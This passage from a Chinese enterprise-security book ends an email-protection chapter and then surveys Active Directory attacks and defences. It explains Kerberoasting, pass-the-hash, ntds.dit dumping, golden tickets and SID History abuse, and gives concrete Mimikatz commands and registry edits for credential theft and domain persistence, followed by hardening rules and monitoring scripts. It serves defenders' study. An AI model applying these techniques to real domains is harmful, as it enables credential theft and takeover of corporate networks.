移动设备自带客户端收取邮件也很普遍，但风险也很大。一方面，通过这种方式收取邮件，会因邮件系统后台记录不完善导致事后很难追查；另一方面，邮件附件直接存在设备上，基本上处于完全失控状态。

移动设备自带邮件客户端基本都要利用ActiveSync协议，建议有条件的企业可以自行开发APP对接邮件系统，这样就可以直接禁用ActiveSync协议了。禁用默认协议，在服务级别禁用比较省事，但有时候会遇到一些特殊场景，比如海外分支机构要按当地监管要求不允许使用总部统一开发的APP，需要视情况而定，可以针对性地按用户进行限制，如图16-25所示。




图16-25　用户级别限制ActiveSync协议


5.自己发给自己或存草稿


禁止了自动转发和ActiveSync协议，对邮件外发做了DLP检测与拦截，但还不够。因为聪明的员工会利用自己发给自己、存草稿等功能，在公司将文档发到邮件系统，在家通过邮件系统下载，绕过DLP审查。

针对此类问题，我们建议的方案是：对邮件附件进行大小限制，防止大批量泄密；对自己发给自己然后在公司外部下载的行为进行重点监控，必要时将文件提取分析。


6.出站防护体系小结


笔者建议的邮件出站防护技术体系是：首先，在邮件系统上进行配置，将一些诸如自动转发、ActiveSync协议等禁用；其次，通过邮件网关开启DLP功能，对外发邮件进行拦截或审计；最后，通过对网络流量进行检测以确保策略生效。在运营上应重点关注DLP策略的有效性、事件处置的闭环。




[1]

 链接：https://blogs.technet.microsoft.com/exovoice/2017/12/07/disable-automatic-forwarding-in-office-365-and-exchange-server-to-prevent-information-leakage/。




16.4　整体安全防护体系



考虑到入站和出站的侧重点完全不同，建议有条件的企业将入站和出站网关分开，同时为实现高可用性采用F5负载均衡设备，如图16-26所示。




图16-26　整体防护邮件网关示意图

一封恶意邮件从外面投递过来，经过邮件网关、邮件服务器到达了用户终端，如何确保终端用户不中招又是另一个大工程，涉及防火墙/上网行为管控、终端防病毒/EDR、信誉/沙箱、外部情报分析对接等。

现在有很多厂商都有整套的解决方案，从邮件，到终端，再到上网，结合信誉、沙箱、情报分析等，思科公司的整体方案如图16-27所示。




图16-27　思科AMP方案

还有一些厂商另辟蹊径，从数据的视角切入，提供从邮件，到网络，再到终端的方案，天空卫士的整体方案如图16-28所示。




图16-28　天空卫士解决方案

此类方案如果落地，需要关注一点，即整体方案往往意味着在终端、邮件、网关都用其设备，否则联动效果会打折扣。而对于一些已经有一定基础安全建设的企业来说，全部更换成本略高。建议选择适合自己企业的方案，结合不断的运营优化，提升安全能力才是正道。




16.5　小结



邮件安全包括由内向外、由外向内的双向控制，由于攻击者的目的不一样，安全防范的侧重点也不一样，需要从整体着眼、小处着手，做好各个层面的安全控制。




第17章　活动目录安全



为了对企业内部计算机、用户等资源进行统一管理，微软提出了活动目录（Active Directory，AD）的解决方案，不同于传统的工作组模式，它最大的优点是可以集中管理，包括统一身份认证、权限控制等，方便管理的同时，其安全性如何呢？本章将重点探讨活动目录安全相关话题。




17.1　背景



2018年上半年，出现了某保险公司企业内网AD和Exchange服务器被入侵的事件，从目前披露的信息来看，全网数量接近30台的域控制器均被入侵，而且木马通过AD疯狂传播，全网中绝大部分Windows服务器和客户端均中招。木马自带挖矿功能并反向连接国外C&C服务器，使用多个Windows Update相似域名来规避监测，基本过程总结如图17-1所示。




图17-1　某企业AD被入侵过程

未知攻，焉知防。针对活动目录安全，下面先对常见的攻击方式进行讲解，然后再讲如何针对性地防御。




17.2　常见攻击方式



攻击者通过邮件钓鱼等方式控制内网一台机器，之后会进行各种试探，最终目标基本都会到活动目录，因为这里有全部用户信息。内网攻击手法多种多样，我们先从最简单直接或者最不容易被发现的方式开始逐步介绍。




17.2.1　SYSVOL与GPP漏洞



SYSVOL为域内共享文件夹，里面保存着与组策略相关的信息，例如登录或注销脚本、组策略配置文件等，域内主机都能访问。域管理员在使用组策略批量管理域内主机时，如果在脚本或配置中引入用户密码，则会产生安全问题。

一种是写在登录脚本中的明文密码，例如图17-2所示的这个VBS代码来源于微软官方网站。




图17-2　微软官网修改本地管理员密码示例代码

通过对SYSVOL目录搜索vbs、ps1后缀的文件，很快就能找到相应的脚本文件，打开即可发现其中密码。

还有一种是在组策略首选项里输入了用户名密码，例如，同样是修改本地内置管理员密码，在首选项里也可以进行配置，如图17-3所示。

最后在相应的组策略文件夹下，有一个xml配置文件包含了以上信息，如图17-4所示。

虽然密码通过AES 256进行了加密，但这个密钥是公开在微软官网上的，所以也很容易解密。网上有针对性的利用脚本，可以快速获取SYSVOL目录各类配置文件中的密码，我们提取其解密函数直接利用即可。


 注意：


除了修改本地管理员密码这个场景外，需要输入密码的地方还包括数据源、计划任务、服务等。




图17-3　组策略首选项输密码




图17-4　SYSVOL利用首选项密码

针对GPP漏洞，微软发布了KB2962486补丁，在配置组策略的机器上打上相应的补丁后，组策略中设置用户名密码的地方是灰色的无法使用。但登录脚本中的明文密码，有人要输微软也拦不住，所以还是需要关注这个问题。




17.2.2　MS14-068漏洞



活动目录使用Kerberos协议作为身份认证，其工作原理如图17-5所示。




图17-5　Kerberos工作原理

整个验证过程由三种类型的消息交换组成：验证服务交换，票据授予服务交换，客户端/服务端交换。验证服务交换包括AS-REQ和AS-REP消息，该验证服务交换在用户登录或者票据授予票据（TGT）过期时发生。票据授予服务交换包括TGS-REQ和TGS-REP消息。客户端/服务端交换包括AP-REQ和AP-REP消息，其中AP-REP为可选消息。三类交换的详细验证过程如下：

1）AS-REQ。用户向密钥分发中心（KDC，也就是图17-5上的域控）的验证服务申请TGT（Ticket Granting Ticket）。消息包括用户主体名称、域名和预认证信息。该预认证信息是利用用户密码生成的NTLM HASH。

2）AS-REP。验证服务会生成TGT，并生成一个会话密钥（Session Key）。KDC在收到AS-REQ消息之后，将从数据库中获得该用户的密钥，然后利用该密钥解密预认证信息，验证用户。验证通过后，会生成TGT和会话密钥。该会话密钥又称登录会话密钥，是用户与KDC共享的。TGT中包括登录会话密钥和PAC（特权属性证书）。TGT用KDC的密钥加密，登录会话密钥用用户密钥加密，最后返回给用户。

3）TGS-REQ。如果用户想通过身份认证来访问某个服务（例如IIS），那么会发起TGS-REQ请求，请求中包含TGT以及所请求服务的服务主体名称（Service Principal Name，SPN）。用户收到AS-REP消息之后，利用用户密钥解密登录会话密钥，在证书缓存中保存登录会话密钥。用户准备一个用登录会话密钥加密的认证器（authenticator），连同TGT和服务主体名发送给KDC。

4）TGS-REP。TGS生成服务票据。KDC收到TGS-REQ消息之后，首先用自己的密钥将TGT解密，获得登录会话密钥，然后用它解密认证器，验证用户的有效性。当用户通过验证之后，KDC会生成一个用户与服务共享的会话密钥和一个服务票据。服务票据中包含用户与服务共享的会话密钥的副本和用户PAC，该票据用目标服务账户的NTLM密码哈希进行加密。而会话密钥用登录会话密钥加密。KDC最后将两者返回用户。

5）AP-REQ。用户将服务票据和新的认证器发给服务端，申请访问。用户在收到TGS-REP消息之后，用登录会话密钥解密用户与服务共享的会话密钥，并将该会话密钥保存在证书缓存中。然后，用户准备一个用会话密钥加密的认证器，连同服务票据和一些标志位发送给服务端。

6）AP-REP。可选，当用户希望验证提供服务的服务端时，服务端返回该消息。服务端收到AP-REQ消息之后，会用服务的密钥解密服务票，获得会话密钥，然后利用会话密钥解密认证器获得时间戳，最后验证用户。用户验证通过之后，服务端会生成访问令牌。同时，服务端会检查相互验证标志位是否置位，假如置位，则会利用从认证器中获得的时间戳生成一个新的认证器，然后用会话密钥给认证器加密，最后返回给用户。

7）用户收到AP-REP消息之后，会用会话密钥解密认证器，验证服务的正确性。除非需要PAC验证（比较少见），目标服务会接受TGS票据中的所有数据，否则，不需要与KDC进行通信。

TGT默认保存在内存里，而且有效期为10小时。如果攻击者拿到了用户的TGT，并将其导入自己的内存，就可以冒充用户获得访问权限，这种攻击方法又叫票据传递（Pass The Ticket，PTT）。微软在2014年爆出一个高危漏洞CVE-2014-6324（对应微软为MS14-068），即KDC服务器无法正确地验证签名，导致一些kerberos服务票据被伪造。如果想通过伪造票据可以直接将普通的域用户变成域管理员权限，结合网上利用工具，非常简单，如图17-6所示。




图17-6　MS14-068利用过程

这个过程中最显著的特点就是向KDC请求的数据中没有PAC，导致KDC在生成PAC的时候使用了域用户密码进行MD5而不是HMAC-MD5，然后KDC在内部处理出现问题，生成了一个新的TGT，之后，将伪造的PAC插入自己的授权数据中，之后，将这个TGT发送给用户。这样用户就获得了域管理员权限。上面的脚本完成了整个过程并生成了一张伪造的缓存文件，利用Mimikatz将它导入系统内存，就可以以域管理员身份访问域服务器，如图17-7所示。




图17-7　MS14-068成功获取域控权限

网上有更方便的利用程序，一步到位直接得到域控管理员权限的cmdshell，可以说只要存在这个MS14-068漏洞，黑客可以在几分钟内拿下域服务器。

针对MS14-068这个高危漏洞，微软发布了KB3011780补丁，打上补丁后就无法被攻击者利用了。




17.2.3　Kerberoast攻击



任何通过Active Directory验证的域用户都可以查询具有服务主体名称（SPN）的用户账户。这使得攻击者能够访问网络上的计算机，并能够确定支持Kerberos身份验证的所有服务账户及其用途。

在图17-5所示的Kerberos工作流程里，黑客可以使用有效的域用户的身份验证票据（TGT）去请求运行在服务器上的一个或多个目标服务的服务票据。DC在活动目录中查找SPN，并使用与SPN关联的服务账户加密票据，以便服务能够验证用户是否可以访问。请求的Kerberos服务票据的加密类型是RC4_HMAC_MD5，这意味着服务账户的NTLM密码哈希用于加密服务票据。黑客将收到的TGS票据离线进行破解，即可得到目标服务账号的HASH，我们把这个称为Kerberoast攻击。黑客进行此类攻击，一般会先进行SPN扫描，特别关注MSSQL、Exchange等服务，如图17-8所示。




图17-8　SPN扫描示例

然后尝试请求并将TGS返回数据进行字典暴力破解，配合Mimikatz进行PTT攻击。

·此类攻击效果非常好，主要有以下几个原因：

·大多数服务账号不会设置密码的有效期，即很长时间内都不会修改。

·大多数据服务账户的权限控制都不够严格，通常情况下这些账户还是域管理员组的成员。

·域内用户都可以从TGS处请求服务票据，SPN扫描不需要连接到网络上的每个IP来检查服务端口，它通过LDAP查询向域控执行服务发现，而正常域内用户都会有TGS请求服务票据，不会产生大量流量和告警事件，比较难以发现。

·一旦取得相应的TGS票据，就可以进行离线暴力破解。




17.2.4　内网横移抓取管理员凭证



当黑客控制了内网一台机器后，往往会想办法获得域管理员凭证。通过所控制的机器，进一步定位域管理员信息，例如，当前域管理员账号有哪些，谁是真正的域管理员，在哪登录过等。

比较常用的办法是抓本地密码，一旦域管理员在本地登录（包括使用runas或远程桌面连接），都能轻松地抓取到，如图17-9所示。




图17-9　抓取本地用户密码

除了抓取外，还可以使用键盘记录类程序来记录输入的账号密码。如果在所控制的机器上没有抓到管理员密码，黑客往往会在内网进行更多的尝试，也就是我们经常说的“横向移动”，一般的步骤如下：

1）获得一台域主机的权限。

2）Dump内存获得用户hash。

3）通过pass the hash尝试登录其他主机。

4）继续搜集hash并尝试远程登录。

5）获得域管理员账户hash，登录域控，最终成功控制整个域。

黑客在内网多台机器上跳来跳去，看上去非常复杂，但网上有很方便的工具（例如CEW），通过扫描C段来发现有哪些机器，定位哪些机器当前账号有权限访问，哪些机器共享了文件，哪些机器域管理员登录过并将hash给dump下来，有了hash就可以进行传递哈希攻击了（pass the hash，PTH）。

在大多数企业内，为了方便管理，很多机器的本地管理员密码是一样的，甚至安装系统都是用的同一个模板。对终端用户进行了权限控制的企业，往往需要为终端用户提供一些支持服务，例如，为用户安装软件，通常都是用域管理员权限来进行安装，所以上面介绍的方法的成功率会比较高。一些聪明的攻击者甚至会故意破坏一些文件；导致诸如Office软件不正常，诱使域管理员在该机器上登录。

针对域内计算机本地管理员密码一致带来的安全问题，有的企业在组策略里用脚本修改本地管理员密码，通过一定的算法来生成本地密码，例如按计算机名、年份+月份、计算机序列号等算法，这也是一个折中的方案，如果能用上一些加密保护措施（如微软PowerShell中的ConvertTo-SecureString）对密码进行保护就更好了。另外，微软公司在这块也做了不少努力，从Windows XP的不允许禁用默认管理员，到Windows 7可以允许用户禁止，再到Windows 10的默认禁止，还提供了LAPS方案
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 。
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 关于 LAPS 更多介绍见微软官网：https://technet.microsoft.com/en-us/mt227395.aspx。




17.2.5　内网钓鱼与欺骗



对处于同一个网段内的目标，攻击者可能还会采用ARP欺骗、DHCP欺骗等中间人攻击技术。

我们都知道当请求一个地址时，先会看本地配置文件，如hosts中是否有记录，没有再会去检查本地DNS缓存，还没有就去向DNS请求。如果DNS名称解析失败了呢？微软从Vista开始新增了链路本地多播名称解析（LLMNR）技术，即当DNS名称服务器请求失败时，系统就会通过LLMNR或Net-BIOS名称服务（NBT-NS）技术进行请求查询，这个过程即是向网络中发送广播包。如图17-10所示，尝试随便Ping一个地址xyz123，会触发DNS请求，DNS查询不到会有NBNS数据包。




图17-10　NBNS与LLMNR查询

如果这个时候攻击者侦听网络流量并主动响应，就会有相应的流量送往攻击者所控制的机器。

Web代理自动发现（Web Proxy Auto-Discovery，WPAD）协议，本意是为了方便用户上网而无须配置代理服务器，它会使用DHCP和DNS发现方法来定位配置文件的URL。如果配置不当，在DHCP和DNS都没有成功的情况下，会用到LLMNR和NBNS查询，如图17-11所示。




图17-11　WPAD查询机制数据包

Responder是一个非常著名的中间人利用工具，使用非常方便，针对那些没有禁用LLMNR和NetBIOS的计算机，可以欺骗目标访问到Responder提供的SMB或者HTTP服务。SMB有个特点，即当用户在资源管理器里访问类似\\IP\File的时候，会默认将当前用户密码凭证送到SMB服务进行认证，失败了才会弹出需要输用户密码的对话框，但此时SMB服务器已经收到了相应数据，通过抓包即能获取到用户凭证。有了这个凭证，再进一步利用Hashcat等工具进行破解就有可能得到能利用的用户密码。

在实际渗透过程中，往往会配合钓鱼进行，例如，在共享上放置特殊的目录，当用户点到这个目录的时候会自动请求攻击的SMB；在doc里插入文件，然后将相应的链接改为UNC路径，通过内网邮件发送给对方；利用PDF的GoTobe和GoToR功能，让对方打开PDF时自动请求SMB服务器上的文件等。一般企业内部员工看到内部的邮件或公用共享文件夹都会放松警惕，当点开之后，当前用户密码登录凭证已经被人拿到
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针对内网欺骗或中间人攻击，比较有效的方案是：MAC绑定，禁用LLMNR和Net-BIOS，启用SMB签名，配置好WPAD相应的DNS记录等。




[1]

 关于这方面的攻击手法非常多，感兴趣的读者可以访问：https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes。




17.2.6　用户密码猜解



如果黑客所控制的机器实在没什么利用价值，它还会尝试其他方式，例如，密码猜解以及钓鱼欺骗等。

域里的账号，一般会设置账号安全策略，例如密码长度、锁定次数等，暴力破解容易触发锁定机制从而被发现，于是有了密码喷洒（Password Spraying）技术。喷洒这个词语很形象，当攻击开始时，往往会从列表中的第一个密码开始。第一个密码用于尝试对活动目录中的每个用户进行身份验证。针对活动目录中的每个用户，攻击者都会尝试用这个密码进行登录，当所有用户都使用该密码进行了测试后，就会自动转到下一个密码，执行重复的测试。假设活动目录中的每个用户的测试上限次数为5次，那么攻击者会为每个用户进行4个不同密码的尝试，直到锁定计算器时间超了再继续。

密码喷洒通常连接到SMB共享或网络服务，笔者用Nmap自带的smb-brute插件对域控的SMB进行请求测试，效果图如图17-12所示。




图17-12　smb-brute插件暴力破解示例

当对AD进行了配置—仅发送NTLMv2响应，拒绝LM和NTLM，以上脚本可能就失效了，但此时ldap-brute插件还是生效的，如图17-13所示。




图17-13　ldap-brute插件暴力破解示例

当发生以上暴力猜解密码时，域控服务器就会默认产生大量的登录失败事件（事件ID为4625），如果开启了相关的审核策略，还会有大量的凭据验证失败事件（事件ID为4776）。需要对此类事件进行监控，并进行关联告警，这样就能很快定位到内网的攻击源。




17.2.7　获取AD数据库文件



当拿到域管理员权限后，攻击者往往会导出所有用户HASH便于进一步利用，比较常用的方法包括用Mimikatz抓取HASH(lsadump::lsa/patch)，或者利用DCSync远程转储（lsadump::dcsync）。还有一些办法是直接导出ntds.dit，因为这个文件即是AD数据库文件，该文件由三个主表组成—数据表、链接表和SD表，具体见微软官方网站的介绍
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如何导出ntds.dit，一般有ntdsutil导出、利用Volume Shadow Copy导出等方法，笔者通过系统自带的ntdsutil导出效果如图17-14所示。




图17-14　导出ntds库文件

导出域数据库后，用DSInternal脚本导出用户哈希，如图17-15所示。




图17-15　利用ntds库文件导出所有用户HASH

导出的HASH可以直接利用Mimikatz进行PTH攻击，如图17-16所示。




图17-16　PTH攻击实例

除了直接在域控上导出ntds.dit外，还有一些方法可以获得ntds.dit，例如备份共享、准备配置成域控的服务器、虚拟化平台等。
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 链接：https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc772829(v=ws.10)




17.3　维持权限的各种方式



攻击者拿到活动目录权限后，会想各种方法维持已有权限，包括常见的种下木马后门和利用AD的特性，如krbtgt账号、DSRM账号、SID History、AdminSDHolder等。




17.3.1　krbtgt账号与黄金票据



在介绍Kerberos协议时我们提到，TGT是由KDC的密钥生成的，其实域中每个用户的票据都是由krbtgt的密码Hash来计算生成的，因此只要黑客拿到了krbtgt的密码Hash，就可以随意伪造票据，进而使用票据登录域控制器。使用krbtgt用户hash生成的票据被称为黄金票据（Golden Ticket），此类攻击方法被称为票据传递（PTT）攻击。

黄金票据的原理是，通过伪造TGT，没有与KDC进行AS-REQ、AS-REP通信，直接进行TGS-REQ，向KDC进行请求以获得票据，其工作原理图如图17-17所示。

安全策略一般会要求域内的普通账号定期进行修改，或者域管理员发现入侵行为而修改了所有管理员密码，但往往会忽视krbtgt这个账号。这时候，攻击者利用原先导出的krbtgt的HASH生成黄金票据，导入系统缓存便可以继续控制活动目录。利用Mimikatz的kerberos::golden功能将krbtgt的HASH导入并生成票据，如图17-18所示。




图17-17　黄金票据工作原理




图17-18　生成黄金票据

利用此票据即可访问域控上的文件。

还可以利用DCSync功能远程导出其他用户哈希，图17-19为笔者在域内主机上导出test2账号的HASH。




17.3.2　服务账号与白银票据



白银票据（Silver Tickets）是伪造Kerberos票据授予服务（TGS）的票据，也称服务票据，这中间与域控制器没有通信，即没有AS-REQ、AS-REP、TGS-REQ、TGS-REP过程，所以只在应用服务端才会有相应日志，白银票据工作原理如图17-20所示。




图17-19　导出其他用户哈希




图17-20　白银票据工作原理

通常服务账号也不会修改，所以只要导出服务账号的HASH，就能利用此HASH生成白银票据，利用方法与黄金票据类似，不再赘述。与黄金票据不同的是，白银票据是伪造TGS，这意味着该票据仅限于特定服务器上的服务使用。




17.3.3　利用DSRM账号



除了krbtgt、服务账号之外，域控上还有一个目录服务还原模式（DSRM）账户，其密码在DC安装的时候就需要进行设置，所以一般不会被修改。微软对DSRM账号进行了限制，只允许在控制台登录。通过对DSRM的研究人们发现，DSRM其实是一个可用的本地管理员账号，而且修改了如下注册表键值：






HKLM\System\CurrentControlSet\Control\Lsa\DSRMAdminLogonBehavior







将DSRMAdminLogonBehavior改为2，就可以通过网络验证并登录到DC。有了这一点，就可以利用导出的HASH结合PTH方式，持续控制DC，即使域内用户密码都进行了修改。

建议定期修改每台域控的DSRM账号，并且是唯一的，同时需要对DSRMAdmin-LogonBehavior注册表键值进行监控。




17.3.4　利用SID History属性



每个用户账号都有一个关联的安全标识符（SID），这个SID用于跟踪安全主体在访问资源时的账户与访问权限，例如，系统默认管理员SID值为500，不管怎么改名这个SID也不会变。

为了支持AD迁移，微软设计了SID-History属性，SID History允许一个账户的访问被有效地克隆到另一个账户。这是非常有用的，其目的是确保用户在从一个域移动（迁移）到另一个域时能保留原有的访问权限。当DomainA中的用户迁移到DomainB时，会在DomainB中创建一个新的用户账户，DomainA用户的SID将添加到DomainB用户账户的SID历史属性中。这将确保DomainB用户仍然可以访问DomainA中的资源
 


[1]




 。

攻击者们发现，SID History可以在同一个域中工作，即DomainA中的常规用户账户可以包含DomainA SID，假如这个DomainA SID是一个特权账户或组，那就可以在不作为域管理员成员的情况下授予常规用户域管理员权限，相当于一个后门。Mimikatz提供了misc::addsid的功能，在2.1版本以后需要使用SID模块，图17-21为给test1账号添加SID History，注意最后的数字，我们知道500是默认本地管理员，512则是Domain Admins，这里我们以512为例演示。




图17-21　给test1账户添加SID History

成功后，test1下次登录时就可以以管理员的方式登录到域控了，如图17-22所示。

相应的策略是监控4738事件，已更改的属性中会列出SID历史，如图17-23所示。

也可以定期检查SID History的异常账号，如图17-24所示。




图17-22　利用SID History特性访问域控
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 更多关于 SID History 的信息，请访问微软官网：https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc779590(v=ws.10)。




17.3.5　利用组策略



组策略可以方便地对AD中计算机和用户进行管理，组策略保存为组策略对象（GPO），然后与AD对象（如站点、DC或OU）进行关联。组策略可以包括安全选项、注册表项、软件安装以及启动和关闭脚本等，域成员默认情况下每隔90分钟刷新一次组策略设置（域控制器为5分钟）。这意味着组策略会强制在目标计算机上配置相关的设置。如果黑客拿到了域管权限，也可以通过修改组策略来控制域内的计算机和用户，例如，执行登录脚本，创建计划任务，部署安装恶意软件等。即使使用了LAPS方案来保证每台计算机本地管理员密码不一致，拿到域控权限的黑客也可以通过在组策略里配置脚本，自动收集所有计算机本地管理员账号LAPS密码。




图17-23　SID History相关事件




图17-24　SID History检查

还有一个需要注意的是SYSVOL目录的权限，默认域内认证用户只读，如果SYSVOL目录或下面的子目录权限被攻击者故意修改为特定用户可写，会发生什么事情呢？我们知道组策略包括两个组件：一个是组策略容器，它存储在AD中；另一个是组策略模板，它存储在SYSVOL中，需要两者相结合这个组策略才能生效。也就是说，如果在SYSVOL中写入一个脚本，但没有在组策略中引用是不会造成危害的。但是如果修改一个引用的脚本，在其中引入一些其他功能，例如添加恶意用户、导出用户HASH等，是非常危险的。

AD内默认有两个组策略：一个是针对全局的Default Domain Policy；另一个是针对DC的Default Domain Controllers Policy，其UUID都是固定的，也就是说在SYSVOL目录是固定的文件夹。一些脚本考虑到通用性会修改这两目录的权限，需要特别注意。




17.3.6　利用AdminSDHolder



每个活动目录域中都有一个AdminSDHolder对象，它位于域的System容器中。设置AdminSDHolder的目的是防止特权用户和重要的组被无意地修改。引入这样的机制之后，那些Protected groups和它们的成员都得到了更进一步的安全保护
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 。通过修改Admin-SDHolder属性，将一个普通用户添加到“安全”选项卡里，并赋予其所有权限或者修改权限，如图17-25所示。




图17-25　向AdminSDHolder属性中添加账户


 注意：


AD用户和计算机管理工具默认不显示System等对象及相关账号的“安全”选项，需要点击“查看”—“高级功能”或者右键“查看”—“高级功能”。

添加完成后，等60分钟自动生效，或者手工触发SDProp使其立即生效，如图17-26所示。




图17-26　手工触发SDProp


 注意：


要以管理员权限启用ldp.exe进程，否则会失败。

这时候我们可以看到Domain Admins属性中“安全”选项卡里已经有上面添加的test1账号了，如图17-27所示。

这样我们就可以在普通主机上远程管理AD的权限了，例如，将test2加入到Enter-prise Admins组，如图17-28所示。


 注意：


Windows 7或Windows10默认没有AD管理工具，需要额外安装补丁文件，然后在系统里添加AD DS功能。
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 更多关于 AdminSDHolder 的介绍，请参考微软官方博客：https://blogs.technet.microsoft.com/apgceps/2011/10/09/adminsdholder/。




17.3.7　利用SSP



SSPI（Security Support Provider Interface）是Windows系统在执行认证操作时所使用的API，而SSP（Security Support Provider）可以理解为一个DLL，用来实现诸如NTML、Kerberos、Negotiate、Credential等身份认证。在系统启动的时候SSP会被加载到lsass.exe进程，基于LSA本身的可扩展特性，如果自定义一个恶意的DLL也会在系统启动的时候被加载到lsass.exe。




图17-27　Domain Admins属性图




图17-28　利用AdminSDHolder特性修改组成员

Mimikatz里就带有一个mimilib.dll的文件，将这个文件拷贝到系统system32目录，并修改如下注册表项：






HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages







将mimilib.dll加入到Security Packages值的最下面，然后重启域服务器即可生效，它会将记录到的用户密码保存到特定的文件中，如图17-29所示。




图17-29　利用SSP获取管理员密码

试想，如果将密码文件写到SYSVOL共享目录某个文件里，是不是就可以长久控制域服务器？




17.3.8　利用Skeleton Key



SSP后门需要重启才能生效，神器Mimikatz提供了Skeleton Key功能，即在域控上执行misc::skeleton后，正常的用户都可以用万能密码正常登录，其利用如图17-30所示。




图17-30　利用Skeleton Key

执行后，在普通域内主机上测试，发现可以用Mimikatz这个万能密码登录，但权限还是原来用户的权限，如图17-31所示。




图17-31　Skeleton Key登录效果

根据图17-31，不需要利用HASH进行PTH访问，直接用Mimikatz这个万能密码便可登录任何人的计算机。




17.3.9　利用PasswordChangeNofity



SSP与Skeleton Key都需要用到Mimikatz，黑客又研究出一种新的方法，即通过Hook PasswordChangeNotify拦截修改的账号密码。当修改域控密码时，LSA会先调用PasswordFilter判断新密码是否符合复杂度要求，如果符合则调用PasswordChangeNotify在系统上同步更新密码。如果将Hook PasswordChangeNofity的恶意代码注入LSA进程，当有密码修改时即可进行记录
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 。

如果将以上代码加入更多功能，例如，将密码保存在普通用户可访问的SYSVOL目录，或者将密码通过HTTP或DNS外发等，则会更加危险。
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 具体可以参考：https://github.com/clymb3r/Misc-Windows-Hacking。




17.4　安全解决方案



如何防范攻击者，使其无法控制第一台机器，在本书内网安全（第13章）以及邮件安全（第16章）的讨论中有所涉及，不再赘述。这里我们假设黑客已经控制了一台机器，我们再来看我们的解决方案，重中之重是域管理员权限的管控。




17.4.1　活动目录整体架构及相关规范



大型企业里，一般都会建立较多的子域，我们建议的架构如图17-32所示。




图17-32　AD整体架构

包括总部在内的所有分支机构，都是一个根域的子域，根域基本上是空的，不对用户直接提供服务，再结合子域之间的信任关系控制。这样的设计可以解决一个问题，假设一个AD管理员的账号密码被别有用心之人获得，也只能影响一个域，无法影响整个企业所有域。

活动目录相关规范介绍如下。


1.物理安全方面


·AD管理员应重视域控制器物理安全，采取必要措施保护存有AD数据库或备份的磁盘、磁带，特别是位于较低安全等级机房的域控制器。

·对于以物理机形式运行的域控制器，应使用本地存储和硬件RAID。故障硬盘在交予外部组织前必须进行消磁。

·对于以虚拟机形式运行的域控制器，应注意对虚拟磁盘文件、虚拟机备份文件的保护。建议启用BitLocker对域控制器系统分区进行加密保护。


2.网络与操作安全方面


·除转发DNS查询外，禁止域控制器访问互联网。

·AD管理员禁止在域控制器上使用浏览器访问互联网。

·DC服务器建议升级至Windows Server 2016，AD管理员所用电脑建议升级至Win-dows 10，并做好补丁管理工作。

·严禁使用个人电脑直接远程桌面访问域控制器，建议通过堡垒机、KVM、控制台等方式进行运维。

·不应在域控制器上安装和运行同域控制器功能无关或未经验证的软件。

·域控制器的目录服务还原模式（DSRM）管理员密码，需要妥善保管，建议每年度使用NTDSUTIL工具（set dsrm password）进行一次重置。


3.AD管理员账户方面


·AD管理员账户只能由被授权的管理员使用，使用者需对其账户使用的合规性负责，并应采取必要措施避免账户密码泄露。

·AD管理员只能使用分配的管理员账户进行AD管理工作，不允许多个AD管理员共用同一账户。

·AD管理员不能将分配的AD管理员账户作为个人日常工作账户使用，不能将个人日常工作账户提升为AD管理员账户。

·AD管理员账户只允许在域控制器上登录。

·未经审批，禁止在域控制器之外的计算机上使用AD管理员账户登录。

·AD管理员账户命名要符合规范，例如XXADAdminYY，XX为分支机构，YY为编号，主要是为了方便管理与辨识。

·对一些容易引起问题的账号进行专门处理，包括加域操作、域控制器备份操作、安全日志归档压缩计划、域内机器安装软件授权等，都需要建立专用账号，避免以域管理员身份在终端机器上执行相关操作。

·有条件的企业，建议对域管理员账号启用双因素认证，例如，结合硬件加密狗使用，这样就可以有效避免域管理员账号密码与其他人混用。


4.安全审核方面


对域控制器应配置如表17-1所示的高级审核策略，高级审核策略建议在AD域或Default Domain Controllers组织单位级别配置。

表17-1　域控制器高级审核策略配置







注：“DS访问”和“对象访问”可根据需要开启，但建议及时关闭，避免记录过多安全日志事件导致日志空间耗尽。

域控制器安全日志大小应设置为200MB以上，建议不超过500MB，并进行安全日志归档设置。配置安全日志属性，启用“日志满时将其存档，不覆盖事件”。生成的安全日志归档文件默认位于%Systemroot%\System32\winevt\logs目录。应及时对日志归档文件压缩并保存在系统分区之外，避免归档文件耗尽系统分区磁盘空间。安全日志归档文件应保留至少12个月。未经归档备份，不应清除安全日志。

·AD管理员应对域控制器上的安全日志进行定期抽查，检查内容包括：

·安全日志事件是否连续，是否有缺失，是否有安全日志清除事件。

·“账户管理”和“策略更改”事件，确认是否为授权操作。

·AD管理员账户的登录事件，确认是否为授权登录。

重要安全事件ID如见表17-2。

表17-2　重要安全事件ID




最后一点，所有域控需要安装SOC客户端，将系统上的安全日志转发到SOC进行分析处理。




17.4.2　技术体系运营



所有的要求、规范能否落地执行，需要有相应的技术手段去支撑，结合笔者经验，在聚焦域控管理员账号这件事上，需要做以下几个方面的工作。


1.违规登录报警


我们规定了域控管理员不允许在其他地方登录，一旦登录就需要报警，一方面是出于合规考量，另一方面是监控管理员账号失陷。这里涉及需要精准掌握所有域管理员的账号，大企业靠各分支机构上报，难免不准而且实时性不够。

通过开发脚本自动获取账号信息可以解决这个问题，思路如下。

1）获取所有域控清单，主要技术点如下：






dsquery.exe * forestroot -attr "cn" "distinguishedName" "dNSHostName" "whenCreated" "whenChanged"-filter"(&(objectclass=server)(objectcategory=server))" -q -L -limit 0







将得到的dNSHostName逐个解析，获得对应IP列表，供后面使用；

2）获取所有域上的管理员账号，主要技术点如下：






dsquery.exe * -attr "sAMAccountName" "sAMAccountType" "userPrincipalName" "userAccountControl" "objectCategory" "member" "lastLogon" "whenCreated" "whenChanged" "description" -filter "(&(objectSid=S-1-5-32-544))" -q -L -limit 0







在AD中管理员涉及的组包括企业管理员组（Enterprise Admins，EA）、域管理员组（Domain Admins，DA）、域内建管理员组（Built-in Administrators，BA），所有的组的前提是Administrators组，利用S-1-5-32-544这个SID特征去遍历即可获取所有管理员账号。

3）在SOC上定制相应的CASE监控登录，当有触发528或4624事件，登录用户是管理员列表中的，来源是非堡垒机之外的IP，都需要进行报警。

这样，有域管理员账号登录事件就会经过CASE的条件关联分析，不符合的会通过高危事件报上来进行调查处置。


2.有效性验证


域控的安全审核策略配置可能存在问题，这会导致无日志和日志不全，仅靠人工检查、沟通协调、整改等成本较高。

